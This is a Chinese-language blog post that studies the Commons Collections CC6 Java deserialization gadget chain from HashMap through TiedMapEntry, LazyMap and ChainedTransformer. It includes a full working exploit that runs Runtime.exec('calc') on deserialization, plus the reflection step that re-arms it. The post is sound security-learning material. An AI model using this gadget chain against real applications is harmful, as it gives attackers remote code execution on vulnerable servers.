Java-CC6

CC6不受jdk版本约束

CC6 = CC1 + URLDNS

前半还是LazyMap.get() => ChainedTransformer.transform()

直接使用 ChainedTransformer可以解决Runtime类不能反序列化的问题,配合ConstantTransformer类,又可以解决参数传递的问题。

分析

org.apache.commons.collections.keyvalue.TiedMapEntry

1
2
3
4
5
6
7
8
9
public Object getValue() {
return map.get(key);
}

public int hashCode() {
Object value = getValue();
return (getKey() == null ? 0 : getKey().hashCode()) ^
(value == null ? 0 : value.hashCode());
}

java.util.HashMap

readObject()部分

1
2
3
4
5
6
7
8
// Read the keys and values, and put the mappings in the HashMap
for (int i = 0; i < mappings; i++) {
@SuppressWarnings("unchecked")
K key = (K) s.readObject();
@SuppressWarnings("unchecked")
V value = (V) s.readObject();
putVal(hash(key), key, value, false, false);
}
1
2
3
4
5
6
7
8
   public V put(K key, V value) {
return putVal(hash(key), key, value, false, true);
}

static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}

问题一

可以弹计算器,但是有个问题,在 HashMap初始化后,我们往hashMap中存入键值对时,会触发链子。但是此时我们并没有序列化。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
	@Test
public void test() throws Exception {
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
});

Map lazymap = LazyMap.decorate(new HashMap<>(), chainedTransformer);

TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap, "key");

HashMap<TiedMapEntry,Object> hashMap = new HashMap<>();

hashMap.put(tiedMapEntry,"value");

// serializable(hashMap);
// unserializable("ser.bin");
}

小bug

在调试时,在14行就会触发链子。

因为在 IDEA 进行 debug 调试的时候,为了展示对象的集合,会自动调用 toString() 方法,所以在创建 TiedMapEntry 的时候,就提前调用了 getValue() 最终将链子走完,然后弹出计算器。

1
2
3
public String toString() {
return getKey() + "=" + getValue();
}

修改设置,可解决

image-20250325213318726

无伤大雅,继续我们的问题。

解决方法

我们需要将在初始化 HashMap的时候,传入的Transformer不是我们执行的 Runtime.getRuntime().exec(),之后修改 lazymap的属性。但是这样我还不确定能不能行。先试一试吧。

最终exp

其实这个还不能触发,需要把注释去掉,注释掉那一步,是为了分析为什么需要那一步。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
    @Test
public void test() throws Exception {
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
});

ConstantTransformer constantTransformer= new ConstantTransformer("123");

HashMap map = new HashMap<>();
Map lazymap = LazyMap.decorate(map, constantTransformer);

TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap, "key");

HashMap<TiedMapEntry,Object> hashMap = new HashMap<>();

hashMap.put(tiedMapEntry,"value");
// map.remove("key");

Class c = LazyMap.class;
Field fieldfactory = c.getDeclaredField("factory");
fieldfactory.setAccessible(true);
fieldfactory.set(lazymap,chainedTransformer);

serializable(hashMap);
unserializable("ser.bin");
}

调试分析

记得先修复那个小bug,避免影响结果。

LazyMapget方法打断点。

image-20250325214129078

step over(F8),调试过程中逐行执行代码

image-20250325214353214

之前的代码,也就是下面这行的代码,传入的key也就是字符串”key”,通过链子的传递来到LazyMap.get()方法。并且在进行if判断时,获取了 ConstantTransformer constantTransformer= new ConstantTransformer("123");调用transform()方法的值,赋值给了map[“key”]使得map[“key”] = 123,所有在下次反序列化时调用时 map.containsKey(key) == true,键值对存在了,不会触发 Object value = factory.transform(key);;后面的链子也就失效了。

1
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap, "key");

所以我们需要删除掉之前的key。

链子

1
2
3
4
5
6
7
8
HashMap.readObject()
HashMap.hash(Object key)
key.hashCode()

TiedMapEntry.hashCode() =>
TiedMapEntry.getValue() =>
LazyMap.get() =>
ChainedTransformer.transform()

由于 CC6 不依赖 sun.reflect 或其他受 JDK 版本变更影响的类,因此 JDK 的升级不会直接影响 CC6 的执行。


Java-CC6
https://rpniu.github.io/2025/03/26/Java-CC6/
作者
rPniu
发布于
2025年3月26日
许可协议